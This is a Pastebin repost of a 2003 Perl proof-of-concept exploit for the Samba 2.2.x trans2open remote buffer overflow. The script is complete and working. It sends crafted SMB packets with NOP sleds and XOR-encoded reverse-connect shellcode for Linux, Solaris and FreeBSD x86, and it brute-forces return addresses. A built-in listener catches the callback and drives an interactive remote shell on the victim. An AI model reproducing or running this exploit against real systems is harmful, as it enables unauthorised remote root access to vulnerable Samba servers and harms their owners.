Advertisement
FlyFar

Samba 2.2.x - Remote Buffer Overflow - 2003-0201

Jan 24th, 2024
1,082
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 14.05 KB | Cybersecurity | 0 0
  1. #!/usr/bin/perl
  2. ###############
  3.  
  4. ##[ Header
  5. #         Name:  trans2root.pl
  6. #      Purpose:  Proof of concept exploit for Samba 2.2.x (trans2open overflow)
  7. #       Author:  H D Moore <hdmoore@digitaldefense.net>
  8. #    Copyright:  Copyright (C) 2003 Digital Defense Inc.
  9. #  trans2root.pl <options> -t <target type> -H <your ip> -h <target ip>
  10. ##
  11.  
  12. use strict;
  13. use Socket;
  14. use IO::Socket;
  15. use IO::Select;
  16. use POSIX;
  17. use Getopt::Std;
  18.  
  19. $SIG{USR2} = \&GoAway;
  20.  
  21. my %args;
  22. my %targets =
  23. (
  24.     "linx86"  => [0xbffff3ff, 0xbfffffff, 0xbf000000, 512, \&CreateBuffer_linx86],
  25.     "solx86"  => [0x08047404, 0x08047ffc, 0x08010101, 512, \&CreateBuffer_solx86],
  26.     "fbsdx86" => [0xbfbfefff, 0xbfbfffff, 0xbf000000, 512, \&CreateBuffer_bsdx86],
  27.     # name      # default   # start     # end      # step  # function
  28. );
  29.  
  30. getopt('t:M:h:p:r:H:P:', \%args);
  31.  
  32. my $target_type = $args{t} || Usage();
  33. my $target_host = $args{h} || Usage();
  34. my $local_host  = $args{H} || Usage();
  35. my $local_port  = $args{P} || 1981;
  36. my $target_port = $args{p} || 139;
  37.  
  38. my $target_mode = "brute";
  39.  
  40. if (! exists($targets{$target_type})) { Usage(); }
  41. print "[*] Using target type: $target_type\n";
  42.  
  43. # allow single mode via the -M option
  44. if ($args{M} && uc($args{M}) eq "S")
  45. {
  46.     $target_mode = "single";
  47. }
  48.  
  49. # the parent process listens for an incoming connection
  50. # the child process handles the actual exploitation
  51. my $listen_pid = $$;
  52. my $exploit_pid = StartListener($local_port);
  53.  
  54. # get the default return address for single mode
  55. my $targ_ret = $args{r} || $targets{$target_type}->[0];
  56. my $curr_ret;
  57. $targ_ret = eval($targ_ret);
  58.  
  59. if ($target_mode !~ /brute|single/)
  60. {
  61.     print "[*] Invalid attack mode: $target_mode (single or brute only)\n";
  62.     exit(0);
  63. }
  64.  
  65.  
  66. if ($target_mode eq "single")
  67. {
  68.     $curr_ret = $targ_ret;
  69.     if(! $targ_ret)
  70.     {
  71.        print "[*] Invalid return address specified!\n";
  72.         kill("USR2", $listen_pid);
  73.         exit(0);
  74.     }
  75.  
  76.     print "[*] Starting single shot mode...\n";
  77.     printf ("[*] Using return address of 0x%.8x\n", $targ_ret);
  78.     my $buf = $targets{$target_type}->[4]->($local_host, $local_port, $targ_ret);
  79.     my $ret = AttemptExploit($target_host, $target_port, $buf);
  80.  
  81.     sleep(2);
  82.     kill("USR2", $listen_pid);
  83.     exit(0);
  84. }
  85.  
  86.  
  87. if ($target_mode eq "brute")
  88. {
  89.     print "[*] Starting brute force mode...\n";
  90.  
  91.     for (
  92.           $curr_ret  =$targets{$target_type}->[1];
  93.           $curr_ret >= $targets{$target_type}->[2];
  94.           $curr_ret -=$targets{$target_type}->[3]
  95.         )
  96.     {
  97.         select(STDOUT); $|++;
  98.         my $buf = $targets{$target_type}->[4]->($local_host, $local_port, $curr_ret);
  99.         printf ("                                        \r[*] Return Address: 0x%.8x", $curr_ret);
  100.         my $ret = AttemptExploit($target_host, $target_port, $buf);
  101.     }
  102.     sleep(2);
  103.     kill("USR2", $listen_pid);
  104.     exit(0);
  105. }
  106.  
  107. sub Usage {
  108.  
  109.     print STDERR "\n";
  110.     print STDERR " trans2root.pl - Samba 2.2.x 'trans2open()' Remote Exploit\n";
  111.     print STDERR "===================================\n\n";
  112.     print STDERR "    Usage: \n";
  113.     print STDERR "           $0 <options> -t <target type> -H <your ip> -h <target ip>\n";
  114.     print STDERR "  Options:  \n";
  115.     print STDERR "           -M (S|B) <single or brute mode>\n";
  116.     print STDERR "           -r       <return address for single mode>\n";
  117.     print STDERR "           -p       <alternate Samba port>\n";
  118.     print STDERR "           -P       <alternate listener port>\n";
  119.     print STDERR "  Targets:\n";
  120.     foreach my $type (keys(%targets))
  121.     {
  122.         print STDERR "            $type\n";
  123.     }
  124.     print STDERR "\n";
  125.  
  126.  
  127.     exit(1);
  128. }
  129.  
  130.  
  131. sub StartListener {
  132.     my ($local_port) = @_;
  133.     my $listen_pid = $$;
  134.  
  135.     my $s = IO::Socket::INET->new (
  136.                 Proto => "tcp",
  137.                 LocalPort => $local_port,
  138.                 Type => SOCK_STREAM,
  139.                 Listen => 3,
  140.                 ReuseAddr => 1
  141.     );
  142.  
  143.     if (! $s)
  144.     {
  145.         print "[*] Could not start listener: $!\n";
  146.         exit(0);
  147.     }
  148.  
  149.     print "[*] Listener started on port $local_port\n";
  150.  
  151.     my $exploit_pid = fork();
  152.     if ($exploit_pid)
  153.     {
  154.         my $victim;
  155.         $SIG{USR2} = \&GoAway;
  156.  
  157.         while ($victim = $s->accept())
  158.         {
  159.             kill("USR2", $exploit_pid);
  160.             print STDOUT "\n[*] Starting Shell " . $victim->peerhost . ":" . $victim->peerport . "\n\n";
  161.             StartShell($victim);
  162.         }
  163.         exit(0);
  164.     }
  165.     return ($exploit_pid);
  166. }
  167.  
  168. sub StartShell {
  169.     my ($client) = @_;
  170.     my $sel = IO::Select->new();
  171.  
  172.     Unblock(*STDIN);
  173.     Unblock(*STDOUT);
  174.     Unblock($client);
  175.  
  176.     select($client); $|++;
  177.     select(STDIN);   $|++;
  178.     select(STDOUT);  $|++;
  179.  
  180.     $sel->add($client);
  181.     $sel->add(*STDIN);
  182.  
  183.     print $client "echo \\-\\-\\=\\[ Welcome to `hostname` \\(`id`\\)\n";
  184.     print $client "echo \n";
  185.  
  186.     while (fileno($client))
  187.     {
  188.         my $fd;
  189.         my @fds = $sel->can_read(0.2);
  190.  
  191.         foreach $fd (@fds)
  192.         {
  193.             my @in = <$fd>;
  194.  
  195.             if(! scalar(@in)) { next; }
  196.  
  197.             if (! $fd || ! $client)
  198.             {
  199.                 print "[*] Closing connection.\n";
  200.                 close($client);
  201.                 exit(0);
  202.             }
  203.  
  204.             if ($fd eq $client)
  205.             {
  206.                 print STDOUT join("", @in);
  207.             } else {
  208.                 print $client join("", @in);
  209.             }
  210.         }
  211.     }
  212.     close ($client);
  213. }
  214.  
  215. sub AttemptExploit {
  216.     my ($Host, $Port, $Exploit) = @_;
  217.     my $res;
  218.  
  219.     my $s = IO::Socket::INET->new(PeerAddr => $Host, PeerPort => $Port, Type
  220.   => SOCK_STREAM, Protocol => "tcp");
  221.  
  222.     if (! $s)
  223.     {
  224.         print "\n[*] Error: could not connect: $!\n";
  225.         kill("USR2", $listen_pid);
  226.         exit(0);
  227.     }
  228.  
  229.     select($s); $|++;
  230.     select(STDOUT); $|++;
  231.     Unblock($s);
  232.  
  233.     my $SetupSession =
  234.         "\x00\x00\x00\x2e\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x08".
  235.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  236.         "\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01".
  237.         "\x00\x00\x00\x00";
  238.  
  239.     my $TreeConnect =
  240.         "\x00\x00\x00\x3c\xff\x53\x4d\x42\x70\x00\x00\x00\x00\x00".
  241.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00".
  242.         "\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24".
  243.         "\x25\x6e\x6f\x62\x6f\x64\x79\x00\x00\x00\x00\x00\x00\x00\x49\x50".
  244.         "\x43\x24";
  245.  
  246.     my $Flush = ("\x00" x 808);
  247.  
  248.     print $s $SetupSession;
  249.     $res = ReadResponse($s);
  250.  
  251.     print $s $TreeConnect;
  252.     $res = ReadResponse($s);
  253.  
  254.     # uncomment this for diagnostics
  255.     #print "[*] Press Enter to Continue...\n";
  256.     #$res = <STDIN>;
  257.  
  258.     #print "[*] Sending Exploit Buffer...\n";
  259.  
  260.     print $s $Exploit;
  261.     print $s $Flush;
  262.  
  263.     ReadResponse($s);
  264.     close($s);
  265. }
  266.  
  267. sub CreateBuffer_linx86 {
  268.     my ($Host, $Port, $Return) = @_;
  269.  
  270.     my $RetAddr =  eval($Return);
  271.     $RetAddr = pack("l", $RetAddr);
  272.  
  273.     my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
  274.     $a1 = chr(ord($a1) ^ 0x93);
  275.     $a2 = chr(ord($a2) ^ 0x93);
  276.     $a3 = chr(ord($a3) ^ 0x93);
  277.     $a4 = chr(ord($a4) ^ 0x93);
  278.  
  279.     my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
  280.     $p1 = chr(ord($p1) ^ 0x93);
  281.     $p2 = chr(ord($p2) ^ 0x93);
  282.  
  283.     my $exploit =
  284.         # trigger the trans2open overflow
  285.         "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
  286.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
  287.         "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
  288.         "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
  289.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  290.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
  291.  
  292.         GetNops(772) .
  293.  
  294.         # xor decoder courtesy of hsj
  295.         "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
  296.         "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
  297.         "\x93\x40\xe2\xfa".
  298.  
  299.         # reverse-connect, mangled lamagra code + fixes
  300.         "\x1a\x76\xa2\x41\x21\xf5\x1a\x43\xa2\x5a\x1a\x58\xd0\x1a\xce\x6b".
  301.         "\xd0\x1a\xce\x67\xd8\x1a\xde\x6f\x1e\xde\x67\x5e\x13\xa2\x5a\x1a".
  302.         "\xd6\x67\xd0\xf5\x1a\xce\x7f\xf5\x54\xd6\x7d".
  303.         $p1.$p2 ."\x54\xd6\x63". $a1.$a2.$a3.$a4.
  304.         "\x1e\xd6\x7f\x1a\xd6\x6b\x55\xd6\x6f\x83\x1a\x43\xd0\x1e\xde\x67".
  305.         "\x5e\x13\xa2\x5a\x03\x18\xce\x67\xa2\x53\xbe\x52\x6c\x6c\x6c\x5e".
  306.         "\x13\xd2\xa2\x41\x12\x79\x6e\x6c\x6c\x6c\xaa\x42\xe6\x79\x78\x8b".
  307.         "\xcd\x1a\xe6\x9b\xa2\x53\x1b\xd5\x94\x1a\xd6\x9f\x23\x98\x1a\x60".
  308.         "\x1e\xde\x9b\x1e\xc6\x9f\x5e\x13\x7b\x70\x6c\x6c\x6c\xbc\xf1\xfa".
  309.         "\xfd\xbc\xe0\xfb".
  310.  
  311.         GetNops(87).
  312.  
  313.         ($RetAddr x 8).
  314.  
  315.         "DDI!". ("\x00" x 277);
  316.  
  317.     return $exploit;
  318. }
  319.  
  320. sub CreateBuffer_solx86 {
  321.     my ($Host, $Port, $Return) = @_;
  322.  
  323.     my $RetAddr =  eval($Return);
  324.     my $IckAddr = $RetAddr - 512;
  325.  
  326.     $RetAddr = pack("l", $RetAddr);
  327.     $IckAddr = pack("l", $IckAddr);
  328.  
  329.     # IckAddr needs to point to a writable piece of memory
  330.  
  331.     my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
  332.     $a1 = chr(ord($a1) ^ 0x93);
  333.     $a2 = chr(ord($a2) ^ 0x93);
  334.     $a3 = chr(ord($a3) ^ 0x93);
  335.     $a4 = chr(ord($a4) ^ 0x93);
  336.  
  337.     my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
  338.     $p1 = chr(ord($p1) ^ 0x93);
  339.     $p2 = chr(ord($p2) ^ 0x93);
  340.  
  341.     my $exploit =
  342.         # trigger the trans2open overflow
  343.         "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
  344.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
  345.         "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
  346.         "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
  347.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  348.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
  349.  
  350.         GetNops(813) .
  351.  
  352.         # xor decoder courtesy of hsj
  353.         "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
  354.         "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
  355.         "\x93\x40\xe2\xfa".
  356.  
  357.         # reverse-connect, code by bighawk
  358.         "\x2b\x6c\x6b\x6c\xaf\x64\x43\xc3\xa2\x53\x23\x09\xc3\x1a\x76\xa2".
  359.         "\x5a\xc2\xd2\xd2\xc2\xc2\x23\x75\x6c\x46\xa2\x41\x1a\x54\xfb".
  360.         $a1.$a2.$a3.$a4 ."\xf5\xfb". $p1.$p2.
  361.         "\xf5\xc2\x1a\x75\xf9\x83\xc5\xc4\x23\x78\x6c\x46\xa2\x41\x21\x9a".
  362.         "\xc2\xc1\xc4\x23\xad\x6c\x46\xda\xea\x61\xc3\xfb\xbc\xbc\xe0\xfb".
  363.         "\xfb\xbc\xf1\xfa\xfd\x1a\x70\xc3\xc0\x1a\x71\xc3\xc1\xc0\x23\xa8".
  364.         "\x6c\x46".
  365.  
  366.         GetNops(87) .
  367.  
  368.         "010101".
  369.         $RetAddr.
  370.         $IckAddr.
  371.         $RetAddr.
  372.         $IckAddr.
  373.         "101010".
  374.  
  375.         "DDI!". ("\x00" x 277);
  376.  
  377.     return $exploit;
  378. }
  379.  
  380. sub CreateBuffer_bsdx86 {
  381.     my ($Host, $Port, $Return) = @_;
  382.  
  383.     my $RetAddr =  eval($Return);
  384.     my $IckAddr = $RetAddr - 512;
  385.  
  386.     $RetAddr = pack("l", $RetAddr);
  387.     $IckAddr = pack("l", $IckAddr);
  388.  
  389.     # IckAddr needs to point to a writable piece of memory
  390.  
  391.     my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
  392.     $a1 = chr(ord($a1) ^ 0x93);
  393.     $a2 = chr(ord($a2) ^ 0x93);
  394.     $a3 = chr(ord($a3) ^ 0x93);
  395.     $a4 = chr(ord($a4) ^ 0x93);
  396.  
  397.     my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
  398.     $p1 = chr(ord($p1) ^ 0x93);
  399.     $p2 = chr(ord($p2) ^ 0x93);
  400.  
  401.     my $exploit =
  402.         # trigger the trans2open overflow
  403.         "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
  404.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
  405.         "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
  406.         "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
  407.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  408.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
  409.  
  410.         GetNops(830) .
  411.  
  412.         # xor decoder courtesy of hsj
  413.         "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
  414.         "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
  415.         "\x93\x40\xe2\xfa".
  416.  
  417.         # reverse-connect, code by bighawk
  418.         "\xa2\x5a\x64\x72\xc2\xd2\xc2\xd2\xc2\xc2\x23\xf2\x5e\x13\x1a\x50".
  419.         "\xfb". $a1.$a2.$a3.$a4 ."\xf5\xfb". $p1.$p2.
  420.         "\xf5\xc2\x1a\x75\x21\x83\xc1\xc5\xc3\xc3\x23\xf1\x5e\x13\xd2\x23".
  421.         "\xc9\xda\xc2\xc0\xc0\x5e\x13\xd2\x71\x66\xc2\xfb\xbc\xbc\xe0\xfb".
  422.         "\xfb\xbc\xf1\xfa\xfd\x1a\x70\xc2\xc7\xc0\xc0\x23\xa8\x5e\x13".
  423.  
  424.         GetNops(87) .
  425.  
  426.         "010101".
  427.         $RetAddr.
  428.         $IckAddr.
  429.         $RetAddr.
  430.         $IckAddr.
  431.         "101010".
  432.  
  433.         "DDI!". ("\x00" x 277);
  434.  
  435.     return $exploit;
  436. }
  437.  
  438. sub Unblock {
  439.         my $fd = shift;
  440.         my $flags;
  441.         $flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n";
  442.         fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n";
  443. }
  444.  
  445. sub GoAway {
  446.     exit(0);
  447. }
  448.  
  449. sub ReadResponse {
  450.     my ($s) = @_;
  451.     my $sel = IO::Select->new($s);
  452.     my $res;
  453.     my @fds = $sel->can_read(4);
  454.     foreach (@fds) { $res .= <$s>; }
  455.     return $res;
  456. }
  457.  
  458. sub HexDump {
  459.     my ($data) = @_;
  460.     my @x = split(//, $data);
  461.     my $cnt = 0;
  462.  
  463.     foreach my $h (@x)
  464.     {
  465.         if ($cnt > 16)
  466.         {
  467.             print "\n";
  468.             $cnt = 0;
  469.         }
  470.  
  471.         printf("\\x%.2x", ord($h));
  472.         $cnt++;
  473.     }
  474.     print "\n";
  475. }
  476.  
  477. # thank you k2 ;)
  478. sub GetNops {
  479.     my ($cnt) = @_;
  480.     my @nops = split(//,"\x99\x96\x97\x95\x93\x91\x90\x4d\x48\x47\x4f\x40\x41\x37\x3f\x97".
  481.                         "\x46\x4e\xf8\x92\xfc\x98\x27\x2f\x9f\xf9\x4a\x44\x42\x43\x49\x4b".
  482.                         "\xf5\x45\x4c");
  483.     return join ("", @nops[ map { rand @nops } ( 1 .. $cnt )]);
  484. }
  485.  
  486.  
  487.  
  488. # milw0rm.com [2003-04-07]
  489.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement